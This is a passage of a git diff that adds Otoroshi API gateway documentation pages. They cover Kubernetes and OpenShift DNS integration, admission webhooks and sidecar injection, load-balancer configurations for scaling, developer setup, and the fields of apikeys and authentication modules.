+                    - key: component
+                      operator: In
+                      values:
+                        - coredns
+                topologyKey: "kubernetes.io/hostname"
+      tolerations:
+        - key: "CriticalAddonsOnly"
+          operator: "Exists"
+      containers:
+        - name: coredns
+          image: coredns/coredns:1.8.0
+          imagePullPolicy: IfNotPresent
+          resources:
+            limits:
+              memory: 170Mi
+            requests:
+              cpu: 100m
+              memory: 70Mi
+          args: [ "-conf", "/etc/coredns/Corefile" ]
+          volumeMounts:
+            - name: config-volume
+              mountPath: /etc/coredns
+              readOnly: true
+          ports:
+            - containerPort: 5353
+              name: dns
+              protocol: UDP
+            - containerPort: 5353
+              name: dns-tcp
+              protocol: TCP
+          securityContext:
+          allowPrivilegeEscalation: false
+          capabilities:
+            add:
+            - NET_BIND_SERVICE
+            drop:
+            - all
+          readOnlyRootFilesystem: true
+          livenessProbe:
+            httpGet:
+              path: /health
+              port: 8080
+              scheme: HTTP
+            initialDelaySeconds: 30
+            timeoutSeconds: 5
+            successThreshold: 1
+            failureThreshold: 5
+      dnsPolicy: Default
+      volumes:
+        - name: config-volume
+          configMap:
+            name: otoroshi-dns
+            items:
+              - key: Corefile
+                path: Corefile
+  
+
+

then you can enable the kube-dns integration in the otoroshi kubernetes job

+
{
+  "KubernetesConfig": {
+    ...
+    "kubeDnsOperatorIntegration": true,                // enable kube-dns integration for intra cluster calls
+    "kubeDnsOperatorCoreDnsNamespace": "otoroshi",    // namespace where coredns is installed
+    "kubeDnsOperatorCoreDnsName": "otoroshi-dns",     // name of the coredns service
+    "kubeDnsOperatorCoreDnsPort": 5353,               // port of the coredns service
+    ...
+  }
+}
+
+

Using Openshift DNS operator

+

Openshift DNS operator does not allow to customize DNS configuration a lot, so you will have to provide your own coredns deployment and declare it as a stub in the Openshift DNS operator.

+

Here is an example of coredns deployment with otoroshi domain config

+
+
coredns.yaml +
+
+
---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+data:
+  Corefile: |
+    otoroshi.mesh:5353 {
+        errors
+        health
+        ready
+        kubernetes cluster.local in-addr.arpa ip6.arpa {
+            pods insecure
+            fallthrough in-addr.arpa ip6.arpa
+        }
+        rewrite name regex (.*)\.otoroshi\.mesh otoroshi-service.otoroshi.svc.cluster.local
+        forward . /etc/resolv.conf
+        cache 30
+        loop
+        reload
+        loadbalance
+    }
+    .:5353 {
+        errors
+        health
+        kubernetes cluster.local in-addr.arpa ip6.arpa {
+          pods insecure
+          fallthrough in-addr.arpa ip6.arpa
+        }
+        forward . /etc/resolv.conf
+        cache 30
+        loop
+        reload
+        loadbalance
+    }
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+spec:
+  # clusterIP: 1.1.1.1
+  selector:
+    app: otoroshi
+    component: coredns
+  type: ClusterIP
+  ports:
+    - name: dns
+      port: 5353
+      protocol: UDP
+    - name: dns-tcp
+      port: 5353
+      protocol: TCP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-dns
+  labels:
+    app: otoroshi
+    component: coredns
+spec:
+  replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+  selector:
+    matchLabels:
+      app: otoroshi
+      component: coredns
+  template:
+    metadata:
+      labels:
+        app: otoroshi
+        component: coredns
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      affinity:
+        podAntiAffinity:
+          preferredDuringSchedulingIgnoredDuringExecution:
+            - weight: 100
+              podAffinityTerm:
+                labelSelector:
+                  matchExpressions:
+                    - key: app
+                      operator: In
+                      values:
+                        - otoroshi
+                    - key: component
+                      operator: In
+                      values:
+                        - coredns
+                topologyKey: "kubernetes.io/hostname"
+      tolerations:
+        - key: "CriticalAddonsOnly"
+          operator: "Exists"
+      containers:
+        - name: coredns
+          image: coredns/coredns:1.8.0
+          imagePullPolicy: IfNotPresent
+          resources:
+            limits:
+              memory: 170Mi
+            requests:
+              cpu: 100m
+              memory: 70Mi
+          args: [ "-conf", "/etc/coredns/Corefile" ]
+          volumeMounts:
+            - name: config-volume
+              mountPath: /etc/coredns
+              readOnly: true
+          ports:
+            - containerPort: 5353
+              name: dns
+              protocol: UDP
+            - containerPort: 5353
+              name: dns-tcp
+              protocol: TCP
+          securityContext:
+          allowPrivilegeEscalation: false
+          capabilities:
+            add:
+            - NET_BIND_SERVICE
+            drop:
+            - all
+          readOnlyRootFilesystem: true
+          livenessProbe:
+            httpGet:
+              path: /health
+              port: 8080
+              scheme: HTTP
+            initialDelaySeconds: 30
+            timeoutSeconds: 5
+            successThreshold: 1
+            failureThreshold: 5
+      dnsPolicy: Default
+      volumes:
+        - name: config-volume
+          configMap:
+            name: otoroshi-dns
+            items:
+              - key: Corefile
+                path: Corefile
+  
+
+

then you can enable the Openshift DNS operator integration in the otoroshi kubernetes job

+
{
+  "KubernetesConfig": {
+    ...
+    "openshiftDnsOperatorIntegration": true,                // enable openshift dns operator integration for intra cluster calls
+    "openshiftDnsOperatorCoreDnsNamespace": "otoroshi",    // namespace where coredns is installed
+    "openshiftDnsOperatorCoreDnsName": "otoroshi-dns",     // name of the coredns service
+    "openshiftDnsOperatorCoreDnsPort": 5353,               // port of the coredns service
+    ...
+  }
+}
+
+

don’t forget to update the otoroshi ClusterRole

+
- apiGroups:
+    - operator.openshift.io
+  resources:
+    - dnses
+  verbs:
+    - get
+    - list
+    - watch
+    - update
+
+

CRD validation in kubectl

+

In order to get CRD validation before manifest deployments right inside kubectl, you can deploy a validation webhook that will do the trick. Also check that you have otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator request sink enabled.

+
+
validation-webhook.yaml +
+
+
apiVersion: admissionregistration.k8s.io/v1
+kind: ValidatingWebhookConfiguration
+metadata:
+  name: otoroshi-admission-webhook-validation
+  labels:
+    app: otoroshi
+    component: otoroshi-validation-webhook
+webhooks:
+  - name: otoroshi-admission-webhook.otoroshi.io
+    rules:
+      - operations: 
+          - "CREATE"
+          - "UPDATE"
+        apiGroups: 
+          - "proxy.otoroshi.io"
+        apiVersions: 
+          - "*"
+        resources: 
+          - "*"
+        scope: "Namespaced"
+    clientConfig:
+      # url: "https://otoroshi-kubernetes-admission-webhook.otoroshi.svc.cluster.local:8443/apis/webhooks/validation"
+      service:
+        name: otoroshi-service
+        namespace: otoroshi
+        path: "/apis/webhooks/validation"
+        port: 8443
+      caBundle: "" # injected at runtime
+    failurePolicy: Ignore # inject at runtime
+    sideEffects: None
+    admissionReviewVersions: 
+      - "v1"
+
+

Easier integration with otoroshi-sidecar

+

Otoroshi can help you to easily use existing services without modifications while gettings all the perks of otoroshi like apikeys, mTLS, exchange protocol, etc. To do so, otoroshi will inject a sidecar container in the pod of your deployment that will handle call coming from otoroshi and going to otoroshi. To enable otoroshi-sidecar, you need to deploy the following admission webhook. Also check that you have otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector request sink enabled.

+
+
sidecar-webhook.yaml +
+
+
apiVersion: admissionregistration.k8s.io/v1
+kind: MutatingWebhookConfiguration
+metadata:
+  name: otoroshi-admission-webhook-injector
+  labels:
+    app: otoroshi
+    component: otoroshi-validation-webhook
+webhooks:
+  - name: otoroshi-admission-webhook-injector.otoroshi.io
+    rules:
+      - operations: 
+          - "CREATE" 
+        apiGroups: 
+          - ""
+        apiVersions: 
+          - "v1"
+        resources: 
+          - "pods"
+        scope: "Namespaced"
+    # namespaceSelector:
+    #   matchLabels:
+    #     otoroshi.io/sidecar: inject
+    objectSelector:
+      matchLabels:
+        otoroshi.io/sidecar: inject
+    clientConfig:
+      # url: "https://otoroshi-kubernetes-admission-webhook.otoroshi.svc.cluster.local:8443/apis/webhooks/inject"
+      service:
+        name: otoroshi-service
+        namespace: otoroshi
+        path: "/apis/webhooks/inject"
+        port: 8443
+      caBundle: "" # inject at runtime
+    failurePolicy: Ignore # inject at runtime
+    sideEffects: None
+    admissionReviewVersions: 
+      - "v1"
+
+

then it’s quite easy to add the sidecar, just add the following label to your pod otoroshi.io/sidecar: inject and some annotations to tell otoroshi what certificates and apikeys to use.

+
annotations:
+  otoroshi.io/sidecar-apikey: backend-apikey
+  otoroshi.io/sidecar-backend-cert: backend-cert
+  otoroshi.io/sidecar-client-cert: oto-client-cert
+  otoroshi.io/token-secret: secret
+  otoroshi.io/expected-dn: UID=oto-client-cert, O=OtoroshiApps
+
+

now you can just call you otoroshi handled apis from inside your pod like curl http://my-service.namespace.otoroshi.mesh/api without passing any apikey or client certificate and the sidecar will handle everything for you. Same thing for call from otoroshi to your pod, everything will be done in mTLS fashion with apikeys and otoroshi exchange protocol

+

here is a full example

+
+
sidecar.yaml +
+
+
---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: app-deployment
+spec:
+  selector:
+    matchLabels:
+      run: app-deployment
+      app: node
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        run: app-deployment
+        app: node
+        foo: bar
+        otoroshi.io/sidecar: inject
+      annotations:
+        otoroshi.io/sidecar-apikey: backend-apikey
+        otoroshi.io/sidecar-backend-cert: backend-cert
+        otoroshi.io/sidecar-client-cert: oto-client-cert
+        otoroshi.io/token-secret: secret
+        otoroshi.io/expected-dn: UID=oto-client-cert, O=OtoroshiApps
+    spec:
+      containers:
+      - image: containous/whoami:latest
+        name: whoami
+        args: ["--port", "8081"]
+        ports:
+          - name: main-port
+            containerPort: 8081
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: app-service
+spec:
+  selector:
+    run: app-deployment
+  ports:
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: backend-cert
+spec:
+  description: backend-cert
+  autoRenew: true
+  exportSecret: true 
+  secretName: backend-cert
+  csr:
+    hosts:
+      - app-service.default.svc.cluster.local
+    issuer: otoroshi-intermediate-ca
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=backend-cert, O=OtoroshiApps
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: client-cert
+  annotations:
+    otoroshi.io/id: client-cert
+spec:
+  description: client-cert
+  autoRenew: true
+  exportSecret: true
+  client: true
+  secretName: client-cert
+  csr:
+    client: true
+    issuer: otoroshi-intermediate-ca
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=client-cert, O=OtoroshiApps
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: oto-client-cert
+  annotations:
+    otoroshi.io/id: oto-client-cert
+spec:
+  description: oto-client-cert
+  autoRenew: true
+  exportSecret: true
+  client: true
+  secretName: oto-client-cert
+  csr:
+    client: true
+    issuer: otoroshi-intermediate-ca
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=oto-client-cert, O=OtoroshiApps
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: frontend-cert
+spec:
+  description: frontend-cert
+  autoRenew: true
+  csr:
+    issuer: otoroshi-intermediate-ca
+    hosts:
+      - backend.oto.tools
+    key:
+      algo: rsa
+      size: 2048
+    subject: UID=frontend-cert, O=OtoroshiApps
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: mesh-cert
+spec:
+  description: mesh-cert
+  autoRenew: true
+  csr:
+    issuer: otoroshi-intermediate-ca
+    hosts:
+      - '*.default.otoroshi.mesh'
+    key:
+      algo: rsa
+      size: 2048
+    subject: O=Otoroshi, OU=Otoroshi Certificates, CN=kubernetes-mesh
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ApiKey
+metadata:
+  name: backend-apikey
+spec:
+  exportSecret: true 
+  secretName: backend-apikey
+  authorizedEntities:
+    - group_default
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: ServiceDescriptor
+metadata:
+  name: backend
+spec:
+  description: backend
+  groups: 
+  - default
+  forceHttps: false
+  hosts:
+  - backend.oto.tools
+  matchingRoot: /
+  publicPatterns:
+    - /.*
+  secComUseSameAlgo: true
+  secComVersion: 2
+  secComInfoTokenVersion: Latest
+  secComSettings:
+    type: HSAlgoSettings
+    size: 512
+    secret: secret
+    base64: false
+  secComAlgoChallengeOtoToBack:
+    type: HSAlgoSettings
+    size: 512
+    secret: secret
+    base64: false
+  secComAlgoChallengeBackToOto:
+    type: HSAlgoSettings
+    size: 512
+    secret: secret
+    base64: false
+  secComAlgoInfoToken:
+    type: HSAlgoSettings
+    size: 512
+    secret: secret
+    base64: false
+  targets:
+  - url: https://app-service.default.svc.cluster.local:8443
+    mtlsConfig:
+      mtls: true
+      certs: 
+        - UID=oto-client-cert, O=OtoroshiApps
+      trustedCerts: 
+        - otoroshi-intermediate-ca
+
Warning
+

Please avoid to use port 80 for your pod as it’s the default port to access otoroshi from your pod and the call will be redirect to the sidecar via an iptables rule

+

Daikoku integration

+

It is possible to easily integrate daikoku generated apikeys without any human interaction with the actual apikey secret. To do that, create a plan in Daikoku and setup the integration mode to Automatic

+
+

then when a user subscribe for an apikey, he will only see an integration token

+
+

then just create an ApiKey manifest with this token and your good to go

+
apiVersion: proxy.otoroshi.io/v1
+kind: ApiKey
+metadata:
+  name: http-app-2-apikey-3
+spec:
+  exportSecret: true 
+  secretName: secret-3
+  daikokuToken: RShQrvINByiuieiaCBwIZfGFgdPu7tIJEN5gdV8N8YeH4RI9ErPYJzkuFyAkZ2xy
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/deploy/scaling.html b/docs/manual/deploy/scaling.html new file mode 100644 index 0000000000..10ed70cfdc --- /dev/null +++ b/docs/manual/deploy/scaling.html @@ -0,0 +1,648 @@ + + + + +Scaling Otoroshi · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Scaling Otoroshi

+

Using multiple instances with a front load balancer

+

Otoroshi has been designed to work with multiple instances. If you already have an infrastructure using frontal load balancing, you just have to declare Otoroshi instances as the target of all domain names handled by Otoroshi

+

Using master / workers mode of Otoroshi

+

You can read everything about it in the clustering section of the documentation.

+

Using IPVS

+

You can use IPVS to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi. You can find example of configuration here

+

Using DNS Round Robin

+

You can use DNS round robin technique to declare multiple A records under the domain names handled by Otoroshi.

+

Using software L4/L7 load balancers

+

You can use software L4 load balancers like NGINX or HAProxy to load balance layer 4 traffic directly from the Linux Kernel to multiple instances of Otoroshi.

+
+
NGINX L7
+
+
upstream otoroshi {
+  server 192.168.1.40:8080 max_fails=1;
+  server 192.168.1.41:8080 max_fails=1;
+  server 192.168.1.42:8080 max_fails=1;
+}
+
+server {
+  listen 80;
+  # http://nginx.org/en/docs/http/server_names.html
+  server_name otoroshi.oto.tools otoroshi-api.oto.tools otoroshi-admin-internal-api.oto.tools privateapps.oto.tools *-api.oto.tools;
+  location / {
+    # SSE config
+    proxy_buffering off;
+    proxy_cache off;
+    proxy_set_header Connection '';
+    proxy_http_version 1.1;
+    chunked_transfer_encoding off;
+  
+    # websockets config
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+  
+    # other config
+    proxy_set_header Host $http_host;
+    proxy_set_header X-Real-IP $remote_addr;
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_pass http://otoroshi;
+  }
+}
+
+server {
+  listen 443 ssl;
+  # http://nginx.org/en/docs/http/server_names.html
+  server_name otoroshi.oto.tools otoroshi-api.oto.tools otoroshi-admin-internal-api.oto.tools privateapps.oto.tools *-api.oto.tools;
+  ssl_certificate           /etc/letsencrypt/wildcard.oto.tools/fullchain.pem;
+  ssl_certificate_key       /etc/letsencrypt/wildcard.oto.tools/privkey.pem;
+  ssl_session_cache         shared:SSL:10m;
+  ssl_session_timeout       5m;
+  ssl_prefer_server_ciphers on;
+  ssl_ciphers               ECDH+AESGCM:ECDH+AES256:ECDH+AES128:DH+3DES:!ADH:!AECDH:!MD5;
+  ssl_protocols             TLSv1 TLSv1.1 TLSv1.2;
+  location / {
+    # SSE config
+    proxy_buffering off;
+    proxy_cache off;
+    proxy_set_header Connection '';
+    proxy_http_version 1.1;
+    chunked_transfer_encoding off;
+  
+    # websockets config
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+  
+    # other config
+    proxy_set_header Host $http_host;
+    proxy_set_header X-Real-IP $remote_addr;
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_pass http://otoroshi;
+  }
+}
+
NGINX L4
+
+
stream {
+
+  upstream back_http_nodes {
+    zone back_http_nodes 64k;
+    server 192.168.1.40:8080 max_fails=1;
+    server 192.168.1.41:8080 max_fails=1;
+    server 192.168.1.42:8080 max_fails=1;
+  }
+
+  upstream back_https_nodes {
+    zone back_https_nodes 64k;
+    server 192.168.1.40:8443 max_fails=1;
+    server 192.168.1.41:8443 max_fails=1;
+    server 192.168.1.42:8443 max_fails=1;
+  }
+
+  server {
+    listen     80;
+    proxy_pass back_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     443;
+    proxy_pass back_https_nodes;
+    health_check;
+  }
+  
+}
+
+
HA Proxy L7
+
+
frontend front_nodes_http
+    bind *:80
+    mode http
+    default_backend back_http_nodes
+    timeout client          1m
+
+frontend front_nodes_https
+    bind *:443
+    mode http
+    default_backend back_https_nodes
+    timeout client          1m
+
+backend back_http_nodes
+    mode http
+    balance roundrobin
+    option forwardfor
+    http-request set-header X-Forwarded-Port %[dst_port]
+    http-request add-header X-Forwarded-Proto https if { ssl_fc }
+    http-request set-header X-Client-IP %[src]
+    server node1 192.168.1.40:8080
+    server node2 192.168.1.41:8080
+    server node3 192.168.1.42:8080
+    timeout connect        10s
+    timeout server          1m
+
+backend back_https_nodes
+    mode http
+    balance roundrobin
+    option forwardfor
+    http-request set-header X-Forwarded-Port %[dst_port]
+    http-request add-header X-Forwarded-Proto https if { ssl_fc }
+    http-request set-header X-Client-IP %[src]
+    server node1 192.168.1.40:8443
+    server node2 192.168.1.41:8443
+    server node3 192.168.1.42:8443
+    timeout connect        10s
+    timeout server          1m
+
HA Proxy L4
+
+
frontend front_nodes_http
+    bind *:80
+    mode tcp
+    default_backend back_http_nodes
+    timeout client          1m
+
+frontend front_nodes_https
+    bind *:443
+    mode tcp
+    default_backend back_https_nodes
+    timeout client          1m
+
+backend back_http_nodes
+    mode tcp
+    balance roundrobin
+    server node1 192.168.1.40:8080
+    server node2 192.168.1.41:8080
+    server node3 192.168.1.42:8080
+    timeout connect        10s
+    timeout server          1m
+
+backend back_https_nodes
+    mode tcp
+    balance roundrobin
+    server node1 192.168.1.40:8443
+    server node2 192.168.1.41:8443
+    server node3 192.168.1.42:8443
+    timeout connect        10s
+    timeout server          1m
+
+

Using a custom TCP load balancer

+

You can also use any other TCP load balancer, from a hardware box to a small js file like

+
+
tcp-proxy.js +
+
+
const proxy = require("node-tcp-proxy");
+
+const hosts = ["192.168.1.40", "192.168.1.41", "192.168.1.42"];
+const portsHttp = [8080, 8080, 8080];
+const portsHttps = [8443, 8443, 8443];
+
+const proxyHttp = proxy.createProxy(80, hosts, portsHttp, {
+  tls: false
+});
+
+const proxyHttps = proxy.createProxy(443, hosts, portsHttps, {
+  tls: false
+});
+
+
tcp-proxy.rs +
+
+
extern crate futures;
+extern crate tokio;
+extern crate rand;
+
+use futures::{Future, Stream};
+use rand::Rng;
+use std::net::SocketAddr;
+use tokio::io::copy;
+use tokio::net::{TcpListener, TcpStream};
+use tokio::prelude::*;
+
+fn main() -> Result<(), Box<std::error::Error>> {
+    let urls: Vec<std::net::SocketAddr> = vec![
+        std::net::SocketAddr::new("192.168.1.40".parse().unwrap(), 8080),
+        std::net::SocketAddr::new("192.168.1.41".parse().unwrap(), 8080),
+        std::net::SocketAddr::new("192.168.1.42".parse().unwrap(), 8080),
+    ];
+    let addr: SocketAddr = "0.0.0.0:80".to_string().parse().unwrap();
+    let sock = TcpListener::bind(&addr).unwrap();
+    println!("TCP load balancer listening on {}", addr);
+    let done = sock
+        .incoming()
+        .map_err(move |e| println!("Error accepting socket; error = {:?}", e))
+        .for_each(move |server_socket| {
+            let index = rand::thread_rng().gen_range(0, urls.len());
+            let url = &urls[index];
+            let client_pair = TcpStream::connect(&url).map(|socket| socket.split());
+            let msg = client_pair
+                .and_then(move |(client_reader, client_writer)| {
+                    let (server_reader, server_writer) = server_socket.split();
+                    let upload = copy(server_reader, client_writer);
+                    let download = copy(client_reader, server_writer);
+                    upload.join(download)
+                }).then(|_res| {
+                    Ok(())
+                });
+            tokio::spawn(msg);
+            Ok(())
+        });
+    tokio::run(done);
+    Ok(())
+}
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/dev.html b/docs/manual/dev.html new file mode 100644 index 0000000000..65826bf0f2 --- /dev/null +++ b/docs/manual/dev.html @@ -0,0 +1,464 @@ + + + + +Developing Otoroshi · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Developing Otoroshi

+

If you want to play with Otoroshis code, here are some tips

+

The tools

+

You will need

+
    +
  • git
  • +
  • JDK >= 11
  • +
  • SBT >= 1.7+
  • +
  • Node 18+ & yarn 1.x
  • +
+

Clone the repository

+
git clone https://github.com/MAIF/otoroshi.git
+
+

or fork otoroshi and clone your own repository.

+

Run otoroshi in dev mode

+

to run otoroshi in dev mode, you’ll need to run two separate process to serve the javascript UI and the server part.

+

Javascript side

+

just go to <repo>/otoroshi/javascript and install the dependencies with

+
yarn install
+# or
+npm install
+
+

then run the dev server with

+
yarn start
+# or
+npm run start
+
+

Server side

+

setup SBT opts with

+
export SBT_OPTS="-Xmx2G -Xss6M"
+
+

then just go to <repo>/otoroshi and run the sbt console with

+
sbt
+
+

then in the sbt console run the following command

+
~reStart
+# to pass jvm args, you can use: ~reStart --- -Dotoroshi.storage=memory ...
+
+

you can now access your otoroshi instance at http://otoroshi.oto.tools:9999

+

Test otoroshi

+

to run otoroshi test just go to <repo>/otoroshi and run the main test suite with

+
sbt 'testOnly OtoroshiTests'
+
+

Create a release

+

just go to <repo>/otoroshi/javascript and then build the UI

+
yarn install
+yarn build
+
+

then go to <repo>/otoroshi and build the otoroshi distribution

+
sbt ';clean;compile;dist;assembly'
+
+

the otoroshi build is waiting for you in <repo>/otoroshi/target/scala-2.12/otoroshi.jar or <repo>/otoroshi/target/universal/otoroshi-1.x.x.zip

+

Build the documentation

+

from the root of your repository run

+
sh ./scripts/doc.sh all
+
+

The documentation is located at manual/target/paradox/site/main/

+

Format the sources

+

from the root of your repository run

+
sh ./scripts/fmt.sh
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/apikeys.html b/docs/manual/entities/apikeys.html new file mode 100644 index 0000000000..dee0b3127d --- /dev/null +++ b/docs/manual/entities/apikeys.html @@ -0,0 +1,464 @@ + + + + +Apikeys · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Apikeys

+

An API key is a unique identifier used to connect to, or perform, an route call.

+
+

You can found a concrete example here

+
    +
  • ApiKey Id: the id is a unique random key that will represent this API key
  • +
  • ApiKey Secret: the secret is a random key used to validate the API key
  • +
  • ApiKey Name: a name for the API key, used for debug purposes
  • +
  • ApiKey description: a useful description for this apikey
  • +
  • Valid until: auto disable apikey after this date
  • +
  • Enabled: if the API key is disabled, then any call using this API key will fail
  • +
  • Read only: if the API key is in read only mode, every request done with this api key will only work for GET, HEAD, OPTIONS verbs
  • +
  • Allow pass by clientid only: here you allow client to only pass client id in a specific header in order to grant access to the underlying api
  • +
  • Constrained services only: this apikey can only be used on services using apikey routing constraints
  • +
  • Authorized on: the groups/services linked to this api key
  • +
+

Metadata and tags

+
    +
  • Tags: tags attached to the api key
  • +
  • Metadata: metadata attached to the api key
  • +
+

Automatic secret rotation

+

API can handle automatic secret rotation by themselves. When enabled, the rotation changes the secret every Rotation every duration. During the Grace period both secret will be usable.

+
    +
  • Enabled: enabled automatic apikey secret rotation
  • +
  • Rotation every: rotate secrets every
  • +
  • Grace period: period when both secrets can be used
  • +
  • Next client secret: display the next generated client secret
  • +
+

Restrictions

+
    +
  • Enabled: enable restrictions
  • +
  • Allow last: Otoroshi will test forbidden and notFound paths before testing allowed paths
  • +
  • Allowed: allowed paths
  • +
  • Forbidden: forbidden paths
  • +
  • Not Found: not found paths
  • +
+

Call examples

+
    +
  • Curl Command: simple request with the api key passed by header
  • +
  • Basic Auth. Header: authorization Header with the api key as base64 encoded format
  • +
  • Curl Command with Basic Auth. Header: simple request with api key passed in the Authorization header as base64 format
  • +
+

Quotas

+
    +
  • Throttling quota: the authorized number of calls per second
  • +
  • Daily quota: the authorized number of calls per day
  • +
  • Monthly quota: the authorized number of calls per month
  • +
Warning
+

Daily and monthly quotas are based on the following rules :

+
    +
  • daily quota is computed between 00h00:00.000 and 23h59:59.999 of the current day
  • +
  • monthly qutoas is computed between the first day of the month at 00h00:00.000 and the last day of the month at 23h59:59.999
  • +
+

Quotas consumption

+
    +
  • Consumed daily calls: the number of calls consumed today
  • +
  • Remaining daily calls: the remaining number of calls for today
  • +
  • Consumed monthly calls: the number of calls consumed this month
  • +
  • Remaining monthly calls: the remaining number of calls for this month
  • +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/auth-modules.html b/docs/manual/entities/auth-modules.html new file mode 100644 index 0000000000..c467c51f3a --- /dev/null +++ b/docs/manual/entities/auth-modules.html @@ -0,0 +1,612 @@ + + + + +Authentication modules · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Authentication modules

+

The authentication modules manage the access to Otoroshi UI and can protect a route.

+

A private Otoroshi app is an Otoroshi route with the Authentication plugin enabled.

+

The list of supported authentication are :

+
    +
  • OAuth 2.0/2.1 : an authorization standard that allows a user to grant limited access to their resources on one site to another site, without having to expose their credentials
  • +
  • OAuth 1.0a : the original standard for access delegation
  • +
  • In memory : create users directly in Otoroshi with rights and metadata
  • +
  • LDAP : Lightweight Directory Access Protocol : connect users using a set of LDAP servers
  • +
  • SAML V2 - Security Assertion Markup Language : an open-standard, XML-based data format that allows businesses to communicate user authentication and authorization information to partner companies and enterprise applications their employees may use.
  • +
+

All authentication modules have a unique id, a name and a description.

+

Each module has also the following fields :

+
    +
  • Tags: list of tags associated to the module
  • +
  • Metadata: list of metadata associated to the module
  • +
  • HttpOnly: if enabled, the cookie cannot be accessed through client side script, prevent cross-site scripting (XSS) by not revealing the cookie to a third party
  • +
  • Secure: if enabled, avoid to include cookie in an HTTP Request without secure channel, typically HTTPs.
  • +
  • Session max. age: duration until the session expired
  • +
  • User validators: a list of validator that will check if, a user that successfully logged in has the right to actually, pass otoroshi based on the content of it’s profile. A validator is composed of a JSONPath that will tell what to check and a value that is the expected value. The JSONPath will be applied on a document that will look like
  • +
+
{
+    "_loc": {
+        "tenant": "default",
+        "teams": [
+            "default"
+        ]
+    },
+    "randomId": "xxxxx",
+    "name": "john.doe@otoroshi.io",
+    "email": "john.doe@otoroshi.io",
+    "authConfigId": "xxxxxxxx",
+    "profile": { // the profile shape depends heavily on the identity provider
+        "sub": "xxxxxx",
+        "nickname": "john.doe",
+        "name": "john.doe@otoroshi.io",
+        "picture": "https://foo.bar/avatar.png",
+        "updated_at": "2022-04-20T12:57:39.723Z",
+        "email": "john.doe@otoroshi.io",
+        "email_verified": true,
+        "rights": ["one", "two"]
+    },
+    "token": { // the token shape depends heavily on the identity provider
+        "access_token": "xxxxxx",
+        "refresh_token": "yyyyyy",
+        "id_token": "zzzzzz",
+        "scope": "openid profile email address phone offline_access",
+        "expires_in": 86400,
+        "token_type": "Bearer"
+    },
+    "realm": "global-oauth-xxxxxxx",
+    "otoroshiData": {
+        ...
+    },
+    "createdAt": 1650459462650,
+    "expiredAt": 1650545862652,
+    "lastRefresh": 1650459462650,
+    "metadata": {},
+    "tags": []
+}
+
+

the expected value support some syntax tricks like

+
    +
  • Not(value) on a string to check if the current value does not equals another value
  • +
  • Regex(regex) on a string to check if the current value matches the regex
  • +
  • RegexNot(regex) on a string to check if the current value does not matches the regex
  • +
  • Wildcard(*value*) on a string to check if the current value matches the value with wildcards
  • +
  • WildcardNot(*value*) on a string to check if the current value does not matches the value with wildcards
  • +
  • Contains(value) on a string to check if the current value contains a value
  • +
  • ContainsNot(value) on a string to check if the current value does not contains a value
  • +
  • Contains(Regex(regex)) on an array to check if one of the item of the array matches the regex
  • +
  • ContainsNot(Regex(regex)) on an array to check if one of the item of the array does not matches the regex
  • +
